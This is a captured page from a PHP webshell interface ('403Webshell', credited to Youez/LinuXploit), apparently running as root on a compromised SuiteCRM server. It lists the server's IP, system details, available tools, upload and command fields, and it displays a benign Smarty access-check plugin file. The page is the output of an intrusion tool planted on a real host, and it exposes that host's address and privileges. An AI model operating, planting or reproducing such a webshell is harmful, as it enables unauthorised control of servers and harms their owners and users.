403Webshell
Server IP : 138.197.176.125  /  Your IP : 216.73.217.54
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux SuiteCRM-8 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.3.19
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/AppointmentScheduler-Don/include/Smarty/plugins/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/AppointmentScheduler-Don/include/Smarty/plugins/function.suite_check_access.php
<?php

/**
 * Smarty plugin
 * @package Smarty
 * @subpackage plugins
 */

/**
 * Smarty {suite_check_access} function plugin
 *
 * Type:     function<br>
 * Name:     suite_check_access<br>
 * Purpose:  Check if the current user has access to a record
 *
 * @author Jose C. Massón <jose AT gcoop DOT coop>
 * @param array
 * @param Smarty
 */
function smarty_function_suite_check_access($params, &$smarty)
{
    if (empty($params['module'])) {
        $smarty->trigger_error("sugar_check_access: missing 'module' parameter");
        return;
    }
    if (empty($params['record'])) {
        $smarty->trigger_error("sugar_check_access: missing 'record' parameter");
        return;
    }
    if (empty($params['action'])) {
        $smarty->trigger_error("sugar_check_access: missing 'module' parameter");
        return;
    }
    $ret = false;
    $bean = BeanFactory::getBean($params['module'], $params['record']);

    if (is_subclass_of($bean, 'SugarBean')) {
        $ret = (bool) $bean->ACLAccess($params['action']);
    }

    return $ret;
}

Youez - 2016 - github.com/yon3zu
LinuXploit